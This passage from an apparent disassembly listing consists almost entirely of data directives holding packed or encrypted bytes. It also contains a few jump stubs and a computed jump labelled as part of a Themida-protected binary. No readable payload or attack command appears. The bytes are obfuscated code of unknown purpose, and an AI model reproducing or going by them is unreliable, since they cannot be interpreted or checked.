9CCAB8DDh, 184D4162h dd 80FBCFECh, 0EA2D5774h, 0C536C88h, 0B1E02958h, 2D5FB6D2h dd 7E64BDBh, 29515D66h, 89E250D3h, 0DC27587Dh, 0A40A8299h dd 88EA17AFh, 5EA1026Ch, 2437F629h, 2D5EB9D2h, 5E445D9h dd 0CFA281FCh, 4ED09D11h, 0AF7F8BFCh, 851B8B0Ah, 68526D2h dd 68669BD9h, 10EC9B7Eh, 0FDBCFDB1h, 7A5BE204h, 8D145BF9h dd 37D08B19h, 45E4B64Ah, 9ACDC1E2h, 0C402BC6Eh, 40087D9Dh dd 32A59F30h, 169CA5C6h, 9F02906Ah, 0C93DAE1Ch, 53048A55h dd 973AE4A7h, 363B75A7h, 545A2D62h, 0FD51D02Eh, 0CDC17E8Ah dd 0F40E7A97h, 61208115h, 29DD8EFCh, 57136A75h, 41D0C055h dd 75A27C3Fh, 0C2709F86h, 0E4EA9D32h, 378706FCh, 4E8FB044h dd 75EC802Ch, 0FD36CD3Bh, 0DEED4A4Eh, 5F3CFF5Eh, 0C93DA826h dd 0E155D455h, 5E666F6h, 31B7E65Dh, 9079DC4Eh, 90CD2DD2h dd 1D3E2D20h, 8614E891h, 0E1B54930h, 5D7EE140h, 4EF3B15Eh dd 0D564192Ch, 6B3B6A04h, 257F18B9h, 2061A206h, 257F963Eh dd 0C140E306h, 0C8EE008Fh, 0D6B54B93h, 48Ch, 1C9C0D7Bh dd 4F90B1F3h, 0A1FE872Fh, 0ED0DD25Eh, 5EA1FE41h, 7332950Ch dd 0B4364D8Eh, 7C1903E7h, 229B47C6h, 0F5BF994h, 6D106B94h dd 0F60ADEEFh, 0AAC224DDh, 0E7A7F972h, 0CA1CFDBCh, 0CB03233Fh dd 0BF7ECE2h, 8618729Bh, 4182924Fh, 3FD85FDEh, 0E7A2C47Dh dd 0A8477195h, 545AA579h, 0E544D62Ch, 783AA722h, 9648A7C7h dd 89054E19h, 367B2BD1h, 0B324AA57h, 27502647h, 0FF2A73D3h dd 0C9EC21Bh, 6F881h, 24DE8600h, 0AF593387h, 3FC3B80Eh dd 4DB1289Eh, 0D42E5A28h, 0BE6014B7h, 279B38C2h, 502647B9h dd 0DEACD125h, 83459ADh, 510FA7C7h, 0CD4A580Ch, 4DB9D2D2h dd 0BF433EB4h, 19956EFCh, 0AB0E9C60h, 0D12D5AE8h, 0D3E1ACh dd 0E50E0000h, 6F90BCFEh, 3DFC0863h, 791F5756h, 129EB856h dd 73805CC7h, 91000000h, 83BCFEE5h, 5613E578h, 0A6698EB6h dd 2983959h, 4AD55EA1h, 0E5114AD8h, 6D99F2C0h, 95B35CB9h dd 1DA9EA12h, 0D26FCE96h, 0DF5EA4DCh, 7679C022h, 0AA285BF9h dd 0D944C733h, 0B042B946h, 0B1C3072Bh, 571D9110h, 638BEB2Ch dd 2EA7F934h, 4B4434F7h, 469DC13Ch, 0F4E71BCAh, 63832B4Bh dd 57CEA7F9h, 0B594B2D4h, 79A561Fh, 0A7000000h, 0D6EDh dd 0FCE50200h, 586181BEh, 655BF9D0h, 3543583Ah, 71E33474h dd 60C1Ch, 8F29200h, 9365176Bh, 1BE79CF2h, 0A15D047Ah dd 28D28EFCh, 928CE08Bh, 1B6F0CF6h, 9CF2936Dh, 0A781DE9h dd 0FC00A551h, 4E335BBBh, 317E580Ch, 0BCFEE51Eh, 8A1DFD90h dd 707323DFh, 0A1FEE60Eh, 8270B35Eh, 4A8519E5h, 6B200986h dd 0A6DDAAE5h, 7A6DBDADh, 1B644B8Eh, 103650D3h, 1E5CC7F7h dd 47h, 0BCFEE523h, 0B11BFD90h, 0F81EF0DFh, 0E65CC70Eh dd 33h, 0AFFEE54Bh, 0D958CA3Eh, 2E27DA76h, 4623AF50h, 0C649E8BAh dd 244F19B6h, 4D5EA206h, 0BD413EB4h, 0E21875BEh, 26E9713Eh dd 0C6BE2740h, 0FEB5095Ch, 0E516FFFFh, 0FD90BCFEh, 0A9E66AF4h dd 0C70F2147h, 25E0D5Ch, 9F120000h, 0EC293B64h, 0F1B03183h dd 4FDF255Dh, 0AE7C80F9h, 0E9C6218h, 697BDECFh, 483A7209h dd 21B68F1Fh, 6CA65B01h, 0A050198Dh, 54A0D5EFh, 948063C6h dd 91C9F3DCh, 0C744A6Bh, 38A124F6h, 0E4A5C57Ah, 0A95BF975h dd 10827E65h, 537C2E91h, 87FDF132h, 0DA04A579h, 0A7F98FB2h dd 93E5A4FFh, 0A05A063Ch, 4DD38F03h, 3A536B97h, 5BDF0BCEh dd 0C7F9AD0Ch, 0A7F9DFABh, 0B5699FC9h, 0F6937467h, 64FBAB0Ah dd 0A1D2FBD4h, 8E781260h, 6A1A9D1Ch, 245C5225h, 0F3EF5FDEh dd 6A166409h, 0BAC10290h, 0BEA01F2Dh, 0A7F91A16h, 0C505C063h dd 109716FCh, 0C03AA6F7h, 7FCF52h, 288B2EFCh, 14E09B17h dd 0D9638BEBh, 0F72EA7F9h, 48ACB34h, 3CE2A551h, 0A2A1CE01h dd 71923372h, 3AFD0B7Dh, 0EF1052BFh, 5616568Fh, 52C063A9h dd 0A61A04B0h, 0A6E9BFB2h, 0F30C4EABh, 0FE094A93h, 9F3C67B7h dd 0D644B02Bh, 7F871740h, 0E512E8AEh, 7E3D5EC1h, 0CC2ED391h dd 0BEA614FDh, 0B78659A4h, 85975A0Dh, 0E4B64A31h, 9A5FC245h dd 1D916D14h, 932A429Ch, 3C678016h, 0B12EA45Dh, 0D958D94Dh dd 93779B45h, 82CD8016h, 0ADA8560Ch, 39F7F560h, 5D2FEEA0h dd 757A9C72h, 3F643B7Eh, 0CD000000h, 81BEFCE5h, 0F9E25861h dd 0EE5E655Bh, 23C455ACh, 0FBC92C53h, 0EEBF597Ch, 0CD659F0Fh dd 77A7F680h, 7ABBCCC3h, 0F680FC18h, 1E8DE1A7h, 52F6813Ah dd 0B5D554CFh, 561E3B93h, 0B19Bh, 0B9D2A400h, 403EB44Dh dd 0CA4DECBEh, 697C8758h, 5FFDDA0Ah, 7886FC4Eh, 368407AAh dd 0ACE2B04Ah, 0F132CF3Bh, 0A1A26591h, 9B6D1F5Eh, 0B3299D04h dd 8758CA4Dh, 0E0A35D0Bh, 34CD3952h, 6F3FC3BEh, 382A4BCAh dd 5EA1A5FDh, 32A8D6DCh, 6FD48467h, 0A97DDC62h, 42358908h dd 699615B6h, 45F4162Bh, 2E5BF815h, 1C444AF7h, 89F1C5E6h dd 389E9373h, 0D84A3476h, 34475h, 50AADA00h, 0DB2D5F33h dd 639FC4BAh, 0E9154C42h, 708AF6C4h, 0DAC4A853h, 433754AEh dd 0C4BADB25h, 72406591h, 0B4C8ED19h, 4DFB1373h, 79B6580Ch dd 4CB6D246h, 0D4205B2Fh, 0B9D260B7h, 0C506D94Dh, 0A1FE09A5h dd 5ADD445Eh, 6A0BFFE8h, 0D72D5559h, 3023E247h, 0D94DB9D2h dd 2FCFFF06h, 170DF878h, 41B52694h, 6C70991Ch, 0A101E20Ah dd 9574AF5Eh, 3BA72B6Ch, 12CC6DC1h, 5EA101FAh, 54AD6CB7h dd 0F90CC732h, 0A579A85Bh, 0F91ED77Bh, 0E2AD6DA7h, 1FF2EA0Ch dd 36F456h, 0E55D0000h, 6181BEFCh, 5BF9E258h, 8A4C607h dd 45A7F62Ch, 5DC45BDAh, 2CFB17C9h, 0B141A7F6h, 0E0D6F01Eh dd 0C2D0561Eh, 6ACF5FABh, 0F05EABh, 810D0000h, 706322D6h dd 205EB9D2h, 0AED4CDEh, 0A45E0A98h, 0C337A0F6h, 64029053h dd 0E6A9089Ah, 93C42354h, 9372B767h, 0F925F0F2h, 0AED95EA1h dd 24AE204h, 9C07A15Eh, 1C67983Dh, 23E28B31h, 37ECC9Fh dd 0DD8E3CFFh, 0F7107529h, 936A8CB5h, 3EA40569h, 4ECF15C7h dd 64D62065h, 9807867Ch, 0B8216409h, 0AAAC569Eh dd 0AF01C43Eh, 20E14071h, 4DF9725h, 89082AFBh, 59E91678h dd 3FCAA2AFh, 9E8AD9D9h, 59E649F5h, 69B2E222h, 0C84BD298h dd 55B5F637h, 0AC0DF639h, 0D86A2D74h, 0ED1349A0h, 6D15690Ah dd 0F1D43797h, 0AE3C3F8Fh, 1CC27h, 0C8325200h, 53A5D7ABh dd 0DB275C32h, 619DC4BAh, 0E8124E3Ch, 524C20CBh, 0DBAFCC36h dd 5C3253ADh, 0CAB8DD29h, 3C406591h, 4A739BFBh, 0F13E580Ch dd 4CB6D2DEh, 8A205B2Fh, 0A1FECC68h, 0B716895Eh, 0FCE50316h dd 5CCE3AADh, 0A5C57ADDh, 5BF9E264h, 0FA24F629h, 0A7F62C56h dd 8D632CECh, 561EE16Bh, 0BE73h, 0B9D2DC00h, 1F4BD94Dh dd 2A565CE5h, 5CDF42D0h, 0F99914CEh, 0C2B55EA1h, 116C9536h dd 0E4DCFD47h, 7AC84B74h, 0A421F501h, 0A6C8793Bh, 0A405755Fh dd 0A1E48918h, 84C57A38h, 0F69FCA62h, 0CD31A8A7h, 0B34CCF56h dd 0AF158B53h, 42FF26A2h, 769EC001h, 43AC0D3Ch, 0F5ED21E0h dd 8BFCF20Fh, 8B0AAF7Fh, 0ACD5D9EAh, 0DC5FC250h, 2A88726Eh dd 3F8F3BDBh, 0F220AD3Fh, 88000000h, 398D2ED4h, 0A614B94Fh dd 0D2A0C539h, 542A4BB7h, 16B5D62Ch, 3EC4BC5Eh, 4DB3299Dh dd 0D7235A28h, 6397C0B6h, 9DFD0242h, 580C4B71h, 0D2DCF33Ch dd 0BB215FB6h, 0EE9E892Dh, 0EF4E3196h, 7B8FF8CEh, 6C92C8C6h dd 9F59C8ADh, 0A329964h, 0DA65F0D6h, 0A7F55163h, 76C44726h dd 949505h, 3E829123h, 0C934CF5Fh, 1D870C30h, 43F3B285h dd 0FCBFDC28h, 55B05113h, 0D1249A97h, 0FD232638h, 841C4EB6h dd 53B34CCFh, 5BFD964Bh, 4CBA2C66h, 12954EDh, 49E4D68Ah dd 2C48AA57h, 69A7F24Eh, 51E77736h, 0DDB1D226h, 12CC5EAAh dd 72BF4B98h, 714B441Ch, 414DF206h, 7084F116h, 1D9C7FA2h dd 0A5510A78h, 3AC6A3F1h, 2CD08905h, 575BF313h, 8F16DD57h dd 9B759E0Ch, 0A95D0E34h, 55C5B604h, 1EC3CD74h, 0B86ACDF8h dd 855h, 403EB400h, 0E0ECFFBEh, 48B2D2F1h, 0E71344DAh dd 0F4E137h, 98661C92h, 36CCB40Ah, 50AAD664h, 0E9154CC2h dd 4F8E735h, 0A0560096h, 895214F2h, 4C281E2h, 83000000h dd 148704EAh, 24248B24h, 81E28952h, 4C2h, 4EA8100h, 87000000h dd 895C2414h, 8950243Ch, 405E0h, 42D0000h, 87000000h, 895C2404h dd 5055242Ch, 364F92B8h, 3436350Ch, 0E8C16630h, 0F7D8F706h dd 1235D8h, 0C5893752h, 0C55FBF58h, 0EF293DA7h, 2C8B545Dh dd 4C48124h, 81000000h, 4ECh, 243C8900h, 8B08458Fh, 8952242Ch dd 4C281E2h, 83000000h, 148704C2h, 3C8B5C24h, 0E0895024h dd 405h, 40500h, 4870000h, 39E95C24h, 78FFFB8Fh, 0B470EF9Ah dd 0D42C7131h, 27F09600h ; --------------------------------------------------------------------------- movsd loc_5A512D: ; CODE XREF: Themida_:loc_5A4525j mov eax, 6ADB671h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 528h dd 5EEF11EAh, 0B81E6002h, 875475B1h, 1DA82F07h, 0D8E97A1Dh dd 1044303Bh, 32B75072h, 8E7035A9h, 65EC7E6Ch, 82FF1201h dd 8A5C2420h, 0B97470B6h, 405513E7h, 0F7EF30D6h, 0E3450132h dd 19F1701Ah, 0A6CA5803h, 3C6B3C80h, 27BD62CEh, 247471ECh dd 0A1B43B9Dh, 90451498h, 0E83D83h, 39C87A34h, 78E935D3h dd 0F0A424FAh, 37924AE9h, 298602A2h, 13187E96h, 0E263585Dh dd 42E9645Fh, 0C3000000h, 450D24h, 57000000h, 434AC51Ch dd 0F9366148h, 88A7A5ADh, 0FB75528Ch, 9CBE00B7h, 7EE5ADF9h dd 9D8993h, 921DF4C7h, 0DE196063h, 5 dup(0) dd 0A75E900h, 0FD680000h, 0E906ADB8h, 0FFFAC5C6h, 0ADBA7268h dd 0C5BCE906h, 7668FFFAh, 0E906ADBBh, 0FFFAC5B2h, 0ADBC0468h dd 0C5A8E906h, 0E168FFFAh, 0E906ADBCh, 0FFFAC59Eh, 0ADBDBF68h dd 0C594E906h, 5A68FFFAh, 0E906ADBEh, 0FFFAC58Ah, 0ADC00468h dd 0C580E906h, 2368FFFAh, 0E906ADC1h, 0FFFAC576h, 4EDC95B4h dd 0B90D48E5h, 0EF3B7216h, 0DF6B2E44h, 89ED374h, 324EE83h dd 3757F84Eh, 0E1832C7Ah, 92B112A8h, 0DDF4FDBh, 58EBFFBh dd 0D84785B6h, 0D80EB5E7h, 58F35AEh, 0A0C82BB6h, 0C55344E9h dd 9EA103Bh, 7587236Ah, 14C7C0Eh, 0B218901Bh, 8F3B7211h dd 0EA4E0324h, 547ED79h, 0B605D205h, 0F5BCDCFFh, 508CC21Ch dd 0F43B65CAh, 0AB1E3A4h, 6A1CAADCh, 4DE6BCB3h, 5E173699h dd 5C467C8h, 97802D68h, 0AECE08BEh, 4E7BACEAh, 33BEC01Ah dd 0FF2960BCh, 0D341CAB9h, 3151B268h, 94363C7Ch, 0C35BDEC5h dd 0DB7494BFh, 35E5CE71h, 8C10DF6h, 67020000h, 1A37982Eh dd 0C068CB5Fh, 0FC923D89h, 0A1C26DB9h, 0A0D15EECh, 0E9CD172h dd 72C885A5h, 0ACFAB3D1h, 9D296003h, 71A9D309h, 53B6058Fh dd 5CFF2E15h, 74178815h, 0FE5EE93Dh, 0F867A145h, 0CAB5FFF5h dd 6B2E43ACh, 0ED2DD5C6h, 0F3B5FFF5h, 0FFF65149h, 0C61833B5h dd 2F2F746Dh, 0B5FFF5E7h, 0D5765983h, 0FABB1098h, 77CD0CF8h dd 47EB14h, 0E73C0000h, 0F7D80EB5h, 13C21C55h, 0C7FF439Eh dd 0AAD01A9Eh, 3E632A49h, 62BD4BEDh, 20B60053h, 13B5D3F7h dd 0B6005317h, 75D642EDh, 52B1F5h, 0AC17CDB6h, 4059C68Bh dd 0A6F2BFDFh, 7A5664CDh, 9D1477AAh, 104h, 3459BAA6h, 0D5782771h dd 0ED8E179Ch, 0AAE3826Dh, 57D72860h, 58311AAFh, 84A40FDBh dd 0C06D2845h, 78B1FED7h, 85CC6F30h, 90DD7E61h, 35C01A13h dd 9ED22542h, 0CB543761h, 0A3A5E1A8h, 0AF585360h, 0DD692043h dd 9A69A537h, 0F6D267E9h, 9F5EFDA2h, 316AB7F2h, 0E252DB58h dd 0D01BAD59h, 0B2B60022h, 0B9E70D99h, 230B0Fh, 8CBFF9B6h dd 6DBACA87h, 7FC86059h, 64066DDh, 0BCAB21AAh, 0ED0BBF98h dd 802D6002h, 3C7D3E76h, 0DFC8FA29h, 0F399912Bh, 0C06BBCAAh dd 0EBA6C768h, 0FFB2D43Fh, 553F79B2h, 6B2E44AFh, 881558FAh dd 0F596199Fh, 0E6470230h, 0F2160F46h, 0EC7F5D57h, 4C897AB9h dd 8D000007h, 0BC67A3EAh, 0EB54D297h, 1D86044Dh, 4DF63471h dd 5E25612Ch, 1B56F71Bh, 4F02248Fh, 7D3458FBh, 0AEE78629h dd 2C5E8C18h, 0B60590ECh, 0FFAB90D6h, 0B2F79B5Eh, 43E24DD9h dd 456BC0Ah, 3193CFE3h, 4368C015h, 0D80EB5E7h, 901851F7h dd 0A0C32C4Ah, 0C55344E9h, 4EC03h, 497DD6B6h, 5A19923h dd 0C863B600h, 3B7B8360h, 57B60005h, 4C01228Dh, 8962B6E7h dd 0F83E2A28h, 0C0D91477h, 62000000h, 88155CFFh, 0ADDA7617h dd 0C153ADA8h, 0A2A409E2h, 0AF58305Fh, 0D2682144h, 169BD271h dd 0E4BE7C8h, 0E5BF1DAAh, 0F8B9D5B9h, 78AE874Dh, 1E57F1D2h dd 0A6FD4C9Ah, 6CC7B600h, 0B9CF6DDEh, 0A70B0Fh, 655EF9B6h dd 459A0741h, 0CF68BCABh, 7612FD1Bh, 21B9F23Fh, 0FEC13491h dd 941B9D53h, 0E208BEF3h, 0AB996058h, 0E28122BCh, 0F214B2ABh dd 0BCAB98B6h, 8F75A38Ch, 9A4E0324h, 0EC7EB879h, 48C3BC7Fh dd 89000006h, 0C063A7EEh, 0EF50D693h, 19BA0049h, 49EA3075h dd 5A216528h, 175AFB17h, 430E3093h, 71385CC7h, 0A2EB8A35h dd 205A8064h, 0B60591E8h, 0FFB79CDAh, 0B0F99B5Eh, 0BDE043C7h dd 0FF89B6F4h, 0B2FB9D5Ch, 0A6CB3C6Dh, 0FCA50AE3h, 708A1059h dd 0AF57D734h, 487EC577h, 58EBB3Eh, 78AE89B6h, 1C51F1D2h dd 3970139Ch, 0A72342EDh, 58F2565h, 5B341FB6h, 5CE755D6h dd 95011CAEh, 0E0C3BCADh, 70A9F6B3h, 0BCBC6187h, 0FD3EEC7Ch dd 5BA04h, 155CFB00h, 44012E91h, 723B5DC6h, 0A2E78B34h dd 0D79ABB64h, 6DA5D453h, 9A0581CCh, 0CE71B5F8h, 0A3E7AEh dd 1696145Dh, 9376B2D4h, 0E4CB605h, 3F59BA21h, 0D70901BBh dd 50FBAF57h, 0B7E13A67h, 0E48445E8h, 571A3CADh, 0CD70317Eh dd 4D6B0D65h, 0EFD89D39h, 0E47E142h, 175200A1h, 0F1B22B8Ah dd 0EDB61F62h, 0B80E47E6h, 0DFAF201Ch, 6304EF12h, 0A8812Eh dd 7F2h, 73DF5500h, 0FA000001h, 57D75EA6h, 44FF5DAFh, 8EDA64A6h dd 8FA8B605h, 65BB3D5Bh, 90D97CC0h, 0EF1C5046h, 8647E649h dd 120BA8E5h, 9C07ED39h, 3B6CB1F8h, 5A1332FDh, 0BAE054D5h dd 18BAF4BCh, 18CEA75Ch, 397C11F2h, 0C507A3F4h, 0B60590C5h dd 0C20494BFh, 0BCAD96ABh, 0CD0ABE99h, 0F3EC7CBAh, 4DD4F30h dd 7B1E0000h, 264BF432h, 0DC7C2763h, 80AE1195h, 0BDDE41C5h dd 8C2DAAF0h, 12A8E586h, 4EDC91B1h, 0B80E47E5h, 0E93D7417h dd 5D5DEF7Dh, 27B60593h, 5CFF3AE1h, 0ADBEADF4h, 5E375FA8h dd 642D50D1h, 88C5663Fh, 94D97A2Bh, 42E3C80Fh, 3EE74CB3h dd 0A95D1437h, 0C76C2946h, 12F842D6h, 67D89DB1h, 892D8BC6h dd 12DF619Dh, 83CE6F50h, 69AB0D1Eh, 7, 9CDFB2h, 0E7FA0000h dd 0B2D80EB5h, 8793C51h, 0A8812E6Bh, 8E8DC600h, 0DC77B605h dd 22A6C52Eh, 58EA098h, 0D0C962B6h, 3E7A8C2Ah, 4B6058Eh dd 9C078D2Bh, 0A90AB0F9h, 0F152C68Fh, 0A5E88A75h, 0BB00B473h dd 456BFD0Fh, 0FE59BCB3h, 0D44E7C8h, 3E7716B9h, 3F8428F1h dd 5F6A718Bh, 0FF58C35Bh, 0CEF308C9h, 58298AE5h, 3FFh dd 0CA501940h, 581C469h, 73B7FE9Ah, 0A3E7A2D0h, 94125F00h dd 87A86A0Fh, 0B3D37CCAh, 6507A8FEh, 16359E2Ch, 8953CB5Fh dd 5943B7Fh, 64C309B6h, 107DFh, 0B5E7FA00h, 55F7D80Eh dd 1286971Ch, 2741A2C8h, 0C73CCA6Eh, 0BDB6058Eh, 0E88B7492h dd 9BBA65A1h, 68CC4DD2h, 439537D3h, 1BCB347h, 0DAB3FA9Eh dd 0E9A0C32Ch, 9253F25Dh, 5FC4BDF0h, 21C57EDEh, 474941FBh dd 103BBCB3h, 21285298h, 0E3C35B61h, 19D198C0h, 0F2B30EC3h dd 70A88170h, 0E5CED5ABh, 6475CEEDh, 0A5000003h, 0D47FCB82h dd 3ACFABFh, 359E2C65h, 65CE5C19h, 0B63D89C4h, 236E0F03h dd 571A3CE7h, 85CC70D3h, 0B6FF9E01h, 0D476F470h, 0B60594D4h dd 0FFC368AEh, 1788155Ch, 26893D74h, 0ECA1C104h, 0BCF192F3h dd 0A3088F7Ch, 1158FB02h, 87C16F95h, 0AF57D783h, 0BE1CD641h dd 5F7BC16h, 0AA861286h, 6512DFC6h, 3091D47Ah, 0CDDE430Eh dd 32A96Bh, 39B30000h, 0F605D355h, 81385BEh, 0D80EB5E7h dd 2715AEh, 0A644EFB6h, 0D4521B3Dh, 0E9A4C52Eh, 277EB94Fh dd 625B600h, 3058FB4Fh, 0C44B3479h, 6E000002h, 0F6145DFFh dd 0F825600Dh, 99A09AFh, 3CE7236Ah, 17D35019h, 6CD7EEC5h dd 0BE6CE9CDh, 58040C0Ch, 0DB5DF6AFh, 22783154h, 5A803B99h dd 22BD20h, 9A05A3B6h, 1008B2FBh, 0F2B60023h, 631DF59h dd 23555199h, 9A71B600h, 9E2D1919h, 55C81477h, 92000000h dd 0DE5A1331h, 0EA1CBAD5h, 0AF57D6AEh, 5F123394h, 0C7753266h dd 0E13C4E7Ch, 0A3B60004h, 5070345h, 52FDB600h, 0E5274D79h dd 0B60005A5h, 8764B49Fh, 9DD4785Bh, 57910710h, 0B600064Fh dd 131F806Bh, 1477F927h, 0CAC6h, 0C8729800h, 0B60011D0h dd 141F99B2h, 88155CFFh, 8F3B7617h, 0A89FAA4Dh, 0AD0BB86Ch dd 8FC6653Eh, 23E28122h, 0B2EB4801h, 34793C51h, 4ABC0AE3h dd 0AF583947h, 2A70395Ch, 7EA3EA89h, 82C1FBDh, 0F2BFE041h dd 305BED19h, 12B60049h, 0FA5AED39h, 3663A541h dd 0CBCAAEBh, 7B1C8723h, 2E4FF036h, 66704563h, 8122EC7Fh dd 1BA00h, 155CFB00h, 44012E91h, 723B5DC6h, 0A2E78B34h dd 0D79ABB64h, 6DA5D453h, 9A0581CCh, 0CE71B5F8h, 0A3E7AEh dd 1696145Dh, 9776B2D4h, 0E4CB605h, 135EFF21h, 256C0CF7h dd 8309AFF8h, 8D8D3F65h, 77AF57D7h, 0B0D35CDCh, 557BA234h dd 0C85429FBh, 58990A0Eh, 0EE5FF8AFh, 8F980540h, 0BA2B1096h dd 23753859h, 5F8B3064h, 4D22Dh, 6D0FB0B6h, 58C58CACh dd 16B0564Fh, 0B6000512h, 0B86E47F0h, 3A7E3B57h, 0D5779D49h dd 0B60004D5h, 0D21484AFh, 0B60004D2h, 0D09C05EEh, 51810AAh dd 41EAB600h, 0F85743D7h, 0B3B61477h, 89000000h, 88155CFFh dd 0F63B7617h, 57DB2D74h, 9ED776AFh, 0D63FEE68h, 9AC5FB3Fh dd 654EB41Eh, 2F598DC8h, 0AF5826EBh, 753A7ED9h, 89129FD6h dd 0D06A902Bh, 0B60036A9h, 0C00AB09Bh, 0B82B402Bh, 6BD147C7h dd 23C77CD0h, 0AAC55199h, 0EF9033BCh, 2CD5443h, 8C65D4D6h dd 0E91DF627h, 0F2286506h, 0C6EA9878h, 3C7CB2DDh, 14CED56h dd 8016F8E7h, 4C35F6ECh, 9Bh, 0B6F4BDDCh, 0E125600Dh, 0D7531A3Eh dd 783C66Ch, 70B6FB9Ch, 2B4CC6EBh, 0DF7F2066h, 89AB1492h dd 0BAD97AC0h, 3537B7F3h, 5989793h, 2F6DB6h, 97135EFFh dd 0A4C8092Ch, 7E5740EDh, 5CFF0328h, 74178815h, 0FE5EE93Dh dd 0C17BA145h, 0AF57D6C9h, 0D21890BBh, 58F16A8h, 0DE43ECB6h dd 0CBB8F600h, 0B9771AA6h, 12AB6421h, 991F9A80h, 0E83E7716h dd 0C06D2447h, 0A6396206h, 199A73F9h, 0EC3A7312h, 0C4692043h dd 2D72375Bh, 1920812Ah, 4CF7337Ah, 42C36029h, 3, 0FFCBB065h dd 138C1158h, 2BF43970h, 42E34009h, 5FC06D20h, 752E733Eh dd 8B1499D4h, 0A47DA2E7h, 0BF60CD84h, 0FA4AD792h, 12B968h dd 243C8900h, 446F68h, 24148900h, 81E68956h, 4C6h, 4EE8300h dd 5C243487h, 55243C89h, 0ADB84BBDh, 2C815506h, 0E13F8C24h dd 0C2815A27h, 27E13F8Ch, 3C8B545Dh, 4C48324h, 88B95152h dd 29766F73h, 5904244Ch, 8108478Fh, 73880847h, 3C8B766Fh dd 0E3895324h, 4C381h, 0C3830000h, 241C8704h, 2434FF5Ch dd 4C4815Ah, 0E9000000h, 0FFFABB66h, 0CB1D1EB6h, 1434CE13h dd 0B852F287h, 6ADC1E3h, 0E0FFC503h, 593F15E3h, 4CA2D1D3h dd 1B179E4Ch, 67258F12h, 0F0A002Fh, 704694F2h, 11D9854Ah dd 0EF74790h, 0ACEBC55h, 6A12EBF3h, 7A27794Bh, 1F3AF2C8h dd 18750392h, 71430DA2h, 0C3678D8Dh, 830F06ADh, 6, 2651B58Bh dd 8D8906A8h, 6A805B9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 0DCC35545h, 0B35497CCh, 6985C723h, 1406A814h dd 6A000063h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 1A4BC357h, 85BBC6C1h, 0C76CB401h dd 0A80BBD85h, 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 60E27FE9h, 59D4D36Bh dd 0CB818A90h, 56123550h, 26199509h, 0B5FF06A8h, 6A80915h dd 90901BAh, 0DD95FF34h, 8906A820h, 0A80CBDBDh, 0FF006A06h dd 0A81B3195h, 0EBC08B06h, 5821825Fh, 55413ACFh, 973CE4AAh dd 0DBB3EC84h, 0E2382373h, 7679B713h, 0D2C78BCh, 0CB3B16FBh dd 5D387441h, 23F9FB6Eh, 3429E2BEh, 1CB1A629h, 0D8E0D0DEh dd 0D5383C77h, 389BC21Ch, 4A41C9AAh, 97A3EA8Dh, 644FA055h dd 0A3713E91h, 12F757E4h, 98CC4F18h, 0E492422Bh, 0BD38D464h dd 956493F3h, 0C4E48D8Dh, 6A06ADh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 9453EAC3h, 60DF6F66h dd 0B358D89h, 816606A8h, 6148F3F1h, 0E2C0DE81h, 8D8948F7h dd 6A805B9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 0CCC35141h, 595C529Bh, 8D897608h, 6A81C19h, 146985C7h dd 64E806A8h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 0C35280C3h, 0DCD5784Bh, 0FD98B94h dd 68Dh, 0F1858900h, 3306A808h, 0A8344985h, 0BD85C706h dd 6A80Bh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0D8D5C353h, 0AD53B9D2h, 0D59D8BE6h dd 0FF06A81Bh, 0A82A11B5h, 0D9BF0F06h, 20DD95FFh, 6A06A8h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 523CB1C3h, 2D8C4B47h, 2C71B589h, 6A06A8h, 1B3195FFh dd 0C08B06A8h, 10F40DEBh, 75F39FECh, 4038A100h, 0E94645F2h dd 15Eh, 3CC3347Dh, 86AB6EECh, 4E574A9Ah, 98A5EB4h, 508150B9h dd 98250B9h, 50895E33h, 39A277CFh, 50F022A6h, 0D20B7618h dd 9E0FC264h, 50B7B098h, 50C613DDh, 128h, 0 dd 4, 2 dup(0) dd 2Fh, 0 dd 8, 0 aSystem_0 db 'System',0 aProcess db ' Process]',0 align 4 dd 3Ch dup(0) dd 0F8E90000h, 68000016h, 6ADC823h, 0FB7FE3E9h, 0C94568FFh dd 0D9E906ADh, 68FFFB7Fh, 6ADCA1Eh, 0FB7FCFE9h, 0CB0068FFh dd 0C5E906ADh, 68FFFB7Fh, 6ADCC9Ch, 0FB7FBBE9h, 0CDC168FFh dd 0B1E906ADh, 68FFFB7Fh, 6ADCE77h, 0FB7FA7E9h, 0CF4168FFh dd 9DE906ADh, 68FFFB7Fh, 6ADD193h, 0FB7F93E9h, 0D28768FFh dd 89E906ADh, 68FFFB7Fh, 6ADD344h, 0FB7F7FE9h, 0D3D168FFh dd 75E906ADh, 68FFFB7Fh, 6ADD57Dh, 0FB7F6BE9h, 0DAE268FFh dd 61E906ADh, 68FFFB7Fh, 6ADDBF9h, 0FB7F57E9h, 44BE26FFh dd 0CF395327h, 5FA3D8AEh, 0ED11483Eh, 748EFAC8h, 0DEC0B457h dd 473B58A2h, 0F0C6E719h, 7E4C7185h, 0A8D4F90Dh, 38EF0767h dd 6DAA580Ch, 5EB9D232h, 0C628D92Dh, 5EA1FEAEh, 45D9B8EBh dd 0CF7084F7h, 0D958A4C3h, 2E08F1B4h, 2C8A253Dh, 33C9F22h dd 0F9C016E3h, 0DA48DB5Bh, 0F9EB8828h, 319E32A7h, 1F27B9DFh dd 45A556h, 0E58A0000h, 6181BEFCh, 5BF9E258h, 23DD8B07h dd 2A5C2E73h, 3BC65DDCh, 2D5A56BAh, 0CD410AD1h, 6298C0B2h dd 0C2D01383h, 3DF5EA8h, 0A7F649EFh, 9DEAA555h, 34207F66h dd 6F2EBDF9h, 1F06ED0Bh, 0D8F156h, 0D25E0000h, 4BD94DB9h dd 7284F61Fh, 0C9E01A0h, 839CDBEh, 1B24DE8Ah, 0A1FE53FBh dd 4871E5Eh, 0A3570096h, 0F9FBE002h, 0F4E75EA1h, 0AC226300h dd 0F84ACD39h, 22AB7B8Fh, 397A87C5h, 6634C0B5h, 0C79E40C3h dd 0F0A40606h, 